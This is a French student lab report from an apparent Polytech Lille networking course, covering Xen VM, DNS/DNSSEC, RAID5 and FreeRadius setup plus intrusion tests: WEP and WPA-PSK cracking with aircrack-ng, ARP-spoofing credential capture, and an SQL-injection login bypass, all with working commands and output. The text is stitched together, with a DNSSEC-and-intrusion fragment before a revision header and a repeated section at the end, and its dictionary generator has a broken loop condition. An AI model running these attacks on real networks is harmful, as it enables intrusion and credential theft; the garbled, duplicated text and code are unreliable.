Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.

Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de cléfs.
La clé asymétrique de signature de clefs de zone
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space
La clé asymétrique de zone pour les enregistrements
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space

Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe :

- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK

- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée
mv Klulya.space.+005+11461.key lulya.space-ksk.key
mv Klulya.space.+005+11461.private lulya.space-ksk.private
mv Klulya.space.+005+27882.key lulya.space-zsk.key
mv Klulya.space.+005+27882.private lulya.space-zsk.private
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec

Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space
$include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key
$include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key

Je signe les enregistrements
dnssec-signzone -o lulya.space -k lulya.space-ksk ../db.lulya.space lulya.space-zsk

Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space.signed";
};

Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net
On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.

[[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]
 

== Tests d'intrusion ==

=== Cassage de clef WEP d’un point d’accès WiFi ===

On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.

Je dois trouver le point d’accès : canal et nom des réseaux.

Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau.

Dans notre cas, la carte Wi-fi se place en observateur du réseau.

Je liste les interfaces disponibles :
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlx40a5efd2140c rt2800usb Ralink Technology, Corp. RT5370

Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.

root@zabeth09:~# airmon-ng start wlx40a5efd2140c
Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.
(mac80211 monitor mode vif enabled on [phy0]wlan0mon
(mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)

Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.

En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlan0mon rt2800usb Ralink Technology, Corp. RT5370

Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux
root@zabeth09:~# airmon-ng –encrypt wep wlan0mon

Beaucoup d'informations s'affichent et je visualise cracotte07 dans la liste pour ses informations.

root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon
Tous les cracotte se trouvent sur channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56

Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.
airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon

Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP
root@zabeth09:~# aircrack-ng lcrack-01.cap
Opening lcrack-01.capse wait…

Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.

Aircrack-ng 1.5.2
[00:00:00] Tested 833 keys (got 73079 IVs)
KB depth byte(vote)
0 0/ 17 F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176)
1 0/ 1 91(103680) 34(83968) 54(83456) B3(83456) B9(82432)
2 2/ 2 60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664)
3 15/ 3 B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104)
4 0/ 1 74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664)
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ]
Decrypted correctly: 100%

=== Cassage de mot de passe WPA-PSK par force brute ===
En utilisant la même méthode, on peut craquer une autre clef WPA.
root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon
-rw-r--r-- 1 root root 88K Nov 4 17:11 lkrack-03.cap

Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.

int main(void){
int x;
for(x=0; x=99999999; x++){
printf("%08d\n",x);
}
}

Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico.
root@zabeth09:~# gcc -Wall -o dico main.c

Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.
root@zabeth09:~# ./dico | more
00000000
00000001
00000002
00000003
00000004
root@zabeth09:~# ./dico | tail
99999995
99999996
99999997
99999998
99999999

Je finis par les transférer dans un fichier .txt
root@zabeth09:~# ./dico > dico.txt

Je choisis de lancer le traitement sur 2 pc plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon pc zabeth09.
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap > /tmp/result

En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.
root@zabeth09:~# split -n 2 dico.txt
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico
root@zabeth09:~# ls -lhrt
-rw-r--r-- 1 root root 101 Nov 4 17:09 main.c
-rwxr-xr-x 1 root root 17K Nov 4 17:09 dico
-rw-r--r-- 1 root root 430M Nov 4 17:15 xaa
-rw-r--r-- 1 root root 430M Nov 4 17:15 xab
En tapant la commande tail, je vérifie que celui que je veux est bien xab

Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22
root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap > /tmp/result

Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)
root@zabeth22:~# cat /tmp/result
Aircrack-ng 1.5.2
[00:09:13] 10260165/102795810 keys tested (3427.05 k/s)
Time left: 7 hours, 30 minutes, 1 second 9.98%
KEY FOUND! [ 10255555 ]

La clé se trouvait dans les 1er 10 % de dico.
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.
Il est logique que celui-ci nous donne aucune clé en réponse.

root@zabeth26:~# cat /tmp/result
[00:46:05] 50000000/51397904 keys tested (3498.19 k/s)
Time left: 0 seconds 97.28%
KEY NOT FOUND
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.

=== Attaque de type "homme au milieu" par usurpation ARP ===

J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :

- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées

- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local

- dsniff : écoute de mots de passe pour différents protocoles

Je vérifie d’abord que dorade est bien configuré au niveau du réseau.
root@dorade:/home/pifou# cat /etc/network/interfaces
# This is an autoconfigured IPv6 interface
iface eth0 inet static
address 172.26.145.101
netmask 255.255.255.0
gateway 172.26.145.254

Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires
root@dorade:/home/pifou# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000

Une commande permet de voir la table de routage.
root@dorade:/home/pifou# ip r
default via 172.26.145.254 dev eth0 onlink
169.254.0.0/16 dev eth0 scope link metric 1000
172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101

Je vérifie qu’il est bien relié au réseau en pingant zabeth09.
root@dorade:/home/pifou# ping zabeth09
PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms
--- zabeth09 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms

En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.

Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.

- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.

- La commande retourne la valeur 1 : l'IP Forwarding est activé.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 0
Dorade n’est pas en mode routeur, je passe alors le noyau à 1
root@dorade:/home/pifou# echo 1 > /proc/sys/net/ipv4/ip_forward

J'utilise la commande arpsppof, en prenant les informations collectées au début.
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.
root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1

Lors de cette étape toujours en cours, je lance un second terminal.
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 1
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter 0
root@dorade:/home/pifou# wireshark
[[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]
 
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr

=== Intrusion sur un serveur d’application Web ===

Je veux m'introduire sur un site de Polytech honey.plil.info.
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.
SELECT id FROM users WHERE id='$id' AND pass='$pass';
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='

Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='

J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]
 

== Réalisation ==

=== Sécurisation de données ===

Pour sécuriser mes données, je passe par une redondance matérielle comme le fait déjà Polytech. On évite de tout perdre s'il y a un problème.

Je crée un RAID5 logiciel sur ma VM. Il permet d'écrire les données à la suite sur les disques durs qui sont stockées. Si on perd un disque, les données pourront être reconstituées par les autres toujours fonctionnel.

Sur Capbreton, je créé un disque niveau 5, un seul système de fichier composé de 3 partitions.

Je commence par créer les 3 partitions LVM de 1Go
lvcreate -l1G -n hawker-raid1 storage
lvcreate -l1G -n hawker-raid storage
lvcreate -l1G -n hawker-raid3 storage

Je visualise les disques créés via la commande
vgdisplay
Il existe 3 types de volumes différents : storage, virtual et system.

Je les associe à ma VM en l'éteignant et modifiant le fichier de configuration hawker.cfg en ajoutant :
disk= [ ...
'phy:/dev/virtual/hawker-raid1,xvdc1,w',
'phy:/dev/virtual/hawker-raid2,xvdc2,w',
'phy:/dev/virtual/hawker-raid3,xvdc3,w',
]

Puis je le rallume ma VM et via la commande lsblk, je vois mes 3 disques ajoutés.

Je met en place le disque niveau 5 (RAID5) avec les 3 partitions
mdadm --create /dev/md0 --level=5 --raid-devices 3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3
Je reprends le protocole que j'ai déjà effectué pour les partitions xvdb en utilisant mkfs, mount et cat. Les partitions sont alors actives.
mkfs /dev/md0
mount /dev/md0 /mnt
cat /proc/mdstat

Comme j'ai déjà fait pour les disques xvdb, je dois imposer le montage de RAID5 à chaque démarrage
/dev/md0 /raid5 ext2 defaults 0 2

Si je stocke des données, en exemple le dossier bind, je les retrouve dans le répertoire raid5. Je vérifie que le système fonctionne et que mes données sont sécurisées.

1er essai : Je commence par commenter la ligne du disque 2 de mon fichier de configuration. Les partitions sont considérées inactives, je repasse par le protocole précédent pour les réactiver et remonter mon disque. Malgré cet incident, on retrouve toutes les données présentes au même endroit.

2ème essai : Je simule la perte du disque 2
cp -a /usr/bin /mnt //Copie de données
dd if=/dev/zero of=toto bs=1024k count=100 //Copier partie ou tout d'un disque

mdadm --set-faulty /dev/md0 /dev/xvdc2 //Perte du fichier disque 2
cat /proc/mdstat //On voit qu'on a plus de partitions
ls -R /mnt //Vérifier qu'on a gardé les fichiers
umount /mnt //Démonter le système de fichier

mdadm --remove /dev/md0 /dev/xvdc2 //Je replace la partitions 2
mdadm --add /dev/md0 /dev/xvdc2
cat /proc/mdstat //On voit qu'il met quelques temps à le récupérer

Encore utilisé à Polytech, on voit un disque gardé au cas où ceux en marche expire. Il gère les fichiers du disque qui va expiré et les gère. Quand on remplace, il replace les fichiers dans celui qui fonctionne.

Je considère la sécurisation de mes données de VM atteinte.

=== Sécurisation WiFi par WPA2-EAP ===

==== Configuration serveur FreeRadius ====

L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.

Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.

Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.
apt update
apt install freeradius

Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users
pifou Cleartext-Password := "glopglop"

/etc/freeradius/3.0/mods-enabled/eap
eap{
default_eap_type = peap
}

/etc/freeradius/3.0//mods-enabled/mschap
//Décommenter et vérifier
use_mppe = yes
require_encryption = yes
require_strong = yes
//Ajouter
with_ntdomain_hack = yes

Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:
client access-point { /Nom du client
ipaddr = 10.60.0.100 //Adress IP de la borne
secret = glopglop //Mot secret saisi lors de la configuration
}

Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.
service freeradius stop
ps auxwww | grep free
root 18316 0.0 0.0 3084 888 pts/0 S+ 22:49 0:00 grep free
kill 10659
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions
freeradius -X

==== Configuration des points d'accès WiFi ====

Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.

J'accède à la configuration de la borne WiFi
minicom -os
port : /dev/ttyUSB2
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#

Je passe en mode privilégié et en mode configuration
ap#enable
ap#config term

On met la commande suivante pour :

authentification : vérifier l'identité de l'utilisateur

authorization : pouvoir limiter l'accès à certaines fonctionnalités

accounting : pouvoir enregistrer les actions de l'utilisateur

ap(config)#aaa new-model

Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius
ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop

Définition du groupe de serveur
ap(config)#aaa group server radius radius_lulya

Association du groupe de serveur et du serveur de la VM
ap(config)#server 193.48.57.171 auth-port 1812 acct-port 1813

Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier
ap(config)#aaa authentication login eap_lulya group radius_lulya

Définition du SSID protégé par la méthode WPA2-EAP
ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya
ap(config-ssid)#vlan 10
ap(config-ssid)#authentication open eap eap_lulya
ap(config-ssid)#authentication network-eap eap_lulya
ap(config-ssid)#authentication key-management wpa

Configuration du Vlan
ap(config)#interface Dot11Radio0
ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip
ap(config-if)#ssid SSID_lulya

Création de sous interfaces
ap(config)#interface dot11Radio0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

ap(config)#interface fast0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

Ajout SSID dans l'interface Dot11Radio0
ap(config-subif)#interface Dot11Radio0
ap(config-if)#dot11 ssid SSID_lulya

Rendre le SSID visible
ap(config-ssid)#interface Dot11Radio0
ap(config-if)#mbssid
ap(config-if)#dot11 ssid SSID_lulya
ap(config-ssid)#mbssid guest-mode

Je quitte tout en utilisant <code>exit</code>, puis faire un <code>write</code> pour prendre en compte toutes les configurations, pour finir je <code>reload</code>
ap(config)#write
Building configuration...
[OK]

TP sysres IMA2a5 2020/2021 G7

2020-12-15T14:03:28Z

Lchenu : /* Configuration de la VM */

== Partie commune ==
Pour commencer, nous avons divisé le travail concernant l'installation de la maquette réseau. J'ai alors fait équipe avec Thomas et Alexandre pour configurer les 3 routeurs (cf : Wiki Groupe n°6 VITTECOQ Thomas - Partie Commune)

L'objectif est la réalisation d'un système réseau répondant aux protocoles IPV6 et assurant une redondance matérielle.

== Installation de la machine virtuelle Xen ==

=== Création de la VM ===
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh
ssh root@capbreton.plil.info

Nom de ma machine : hawker

Adresse IP de la machine : 193.48.57.171

Adresse du routeur : 193.48.57.163

Le répertoire des disques virtuels : /usr/local/xen

xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.
xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf

J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker

Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/

La distribution stable courant : http://proxy.polytech-lille.fr:3128

xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force

En lançant un second terminal, je peux suivre le processus d’installation
tail -f /var/log/xen-tools/hawker.log

Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.

Installation Summary
---------------------
Hostname : hawker
Distribution : ascii
MAC Address : 00:16:3E:A4:65:07
IP Address(es) : dynamic
SSH Fingerprint : SHA256:xxxxxxx (DSA)
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)
SSH Fingerprint : SHA256:xxxxxxx (ED25519)
SSH Fingerprint : SHA256:xxxxxxx (RSA)
Root Password : xxxxxxxxxxxxxxxxxxxxxxxx

Via la commande passwd, j'ai changé le mot de passe par "glopglop"

=== Configuration de la VM ===

Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.
Je récupère le nom du bridge "IMA2a5"
brctl show
bridge name bridge id STP enabled interfaces
'''IMA2a5 8000.34800d508a83 no ether1'''
IMA5sc 8000.34800d508a82 no ether0
L3MRIT 8000.b026289b2c9a no ether2
Trunk 8000.4cd98fa49258 no ether4
bridgeGIS 8000.4cd98fa49258 no vlan502

J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5.

kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '1024'

root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
]

name = 'hawker'

'''vif = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''

on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

J'accède à ma machine virtuelle
xl create /etc/xen/hawker.cfg
xl console hawker

Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte
lvcreate -L10G -n hawker-var virtual
lvcreate -L10G -n hawker-home virtual

Je pointe le système de fichier sur les deux nouvelles partitions
mke2fs /dev/virtual/hawker-home
mke2fs /dev/virtual/hawker-var

Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.

disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
''''phy:/dev/virtual/hawker-home,xvdb1,w','''
''''phy:/dev/virtual/hawker-var,xvdb2,w','''
]

Puis je redémarre la VM pour prendre en compte les modifications
xl shutdown hawker
xl create /etc/xen/hawker.cfg

A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage.
/dev/xvdb1 /home ext4 defaults 0 2 //0 sauvegarde et 2 place
#/dev/xvdb2 /var ext4 defaults 0 2
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.
mkfs -t ext4 /dev/xvdb2
mount /dev/xvdb2 /mnt
mv /var/* /mnt
blkid //Trouver ou afficher les attributs de périphérique bloc
/dev/xvda2: UUID="efa11821-8780-4938-9473-5d217752316e" TYPE="ext4"
/dev/xvda1: UUID="1a3161b3-a90d-4da5-a224-cfc496e70c89" TYPE="swap"
/dev/xvdb1: UUID="5645526d-2cf4-42b5-a4a7-94fdda100ca1" TYPE="ext4"
/dev/xvdb2: UUID="5b49ce5f-8116-4c41-aa25-97536f644803" TYPE="ext4"
vi /etc/fstab
Par la suite, je peux décommenter la ligne et exécuter :
umount /mnt
mount -a
Je vérifie que les disques sont bien montés via la commande db
Filesystem 1K-blocks Used Available Use% Mounted on
udev 483904 0 483904 0% /dev
tmpfs 100712 120 100592 1% /run
/dev/xvda2 4062912 791352 3045464 21% /
tmpfs 5120 0 5120 0% /run/lock
tmpfs 306280 0 306280 0% /dev/shm
'''/dev/xvdb1 10255636 36872 9678092 1% /home'''
'''/dev/xvdb2 10255636 315536 9399428 4% /var'''

On peut vérifier que la VM est prête
xl list
Name ID Mem VCPUs State Time(s)
Domain-0 0 4046 4 r----- 6978.3
boeing 1 256 1 -b---- 185.5
NightHawk 3 1024 1 -b---- 826.8
'''hawker 4 1024 1 -b---- 776.9'''
blackbird 5 256 1 -b---- 640.4
Falcon 6 256 1 -b---- 691.7
rafale 8 256 1 -b---- 606.0
mirage 12 1024 1 -b---- 668.6
alpha-jet 13 256 1 -b---- 591.4
concorde 19 1024 1 -b---- 148.5
oronge 20 256 1 -b---- 536.2
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne.
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.

== Services Internet ==

=== Configuration du réseau ===

Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces
auto eth0
iface eth0 inet static
address 193.48.57.171
netmask 255.255.255.240
gateway 193.48.57.163

Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus
ifdown eth0
ifup eth0

Je vérifie que le processus s'est bien déroulé
ip r
default via 193.48.57.163 dev eth0 onlink
193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171
ping 193.48.57.162 (Adresse IP 3560E)

=== Serveur SSH ===
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :
vi /etc/ssh/sshd_config
PermitRootLogin yes // Permet l'accès direct en root
service ssh restart
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.
ssh root@193.48.57.171

=== Serveur DNS ===

Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.

Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.

Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre.
ns.lulya.space
193.48.57.171

Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.
ns.lulya.space 1
ns6.gandi.net 2
Pour le prise en compte ces modifications, on attend de 12 à 24h.

Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.
Le fichier named.conf.options qui gère les options de configuration du DNS :
options {
directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer"; };
};
acl "allowed_to_transfer" {
217.70.177.40/32; //Adresse IP de dns6.gandi.net
};

Puis le fichier named.conf.local pour déclarer les zones associées au domaine:
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space";
};

Enfin, le fichier de configuration /etc/bind/db.lulya.space :
$TTL 3600
@ IN SOA ns.lulya.space. postmaster.lulya.space. (
1 ; Version
1800 ; Refresh (30m)
600 ; Retry (10m)
3600 ; Expire (1h)
3600 ) ; Minimum TTL (1h)
@ IN NS ns.lulya.space.
@ IN NS ns6.gandi.net.
ns IN A 192.48.57.171

J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.

Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.

=== Sécurisation de site web par certificat ===

Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.

Je modifie mon fichier db.lulya.space
Version : 2
IN MX 100 ns
www IN A 193.48.57.171

Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise.

Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat
openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr

J'achète un certificat sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier.

En recontrant un problème, j'ai utilisé une commande servant d'outil de dépannage
apt install strace
strace -f -o open newaliases
strace -f newaliases

=== Sécurisation de serveur DNS par DNSSEC ===

Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.

Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de cléfs.
La clé asymétrique de signature de clefs de zone
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space
La clé asymétrique de zone pour les enregistrements
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space

Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe :

- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK

- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée
mv Klulya.space.+005+11461.key lulya.space-ksk.key
mv Klulya.space.+005+11461.private lulya.space-ksk.private
mv Klulya.space.+005+27882.key lulya.space-zsk.key
mv Klulya.space.+005+27882.private lulya.space-zsk.private
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec

Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space
$include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key
$include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key

Je signe les enregistrements
dnssec-signzone -o lulya.space -k lulya.space-ksk ../db.lulya.space lulya.space-zsk

Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space.signed";
};

Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net
On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.

[[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]
 

== Tests d'intrusion ==

=== Cassage de clef WEP d’un point d’accès WiFi ===

On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.

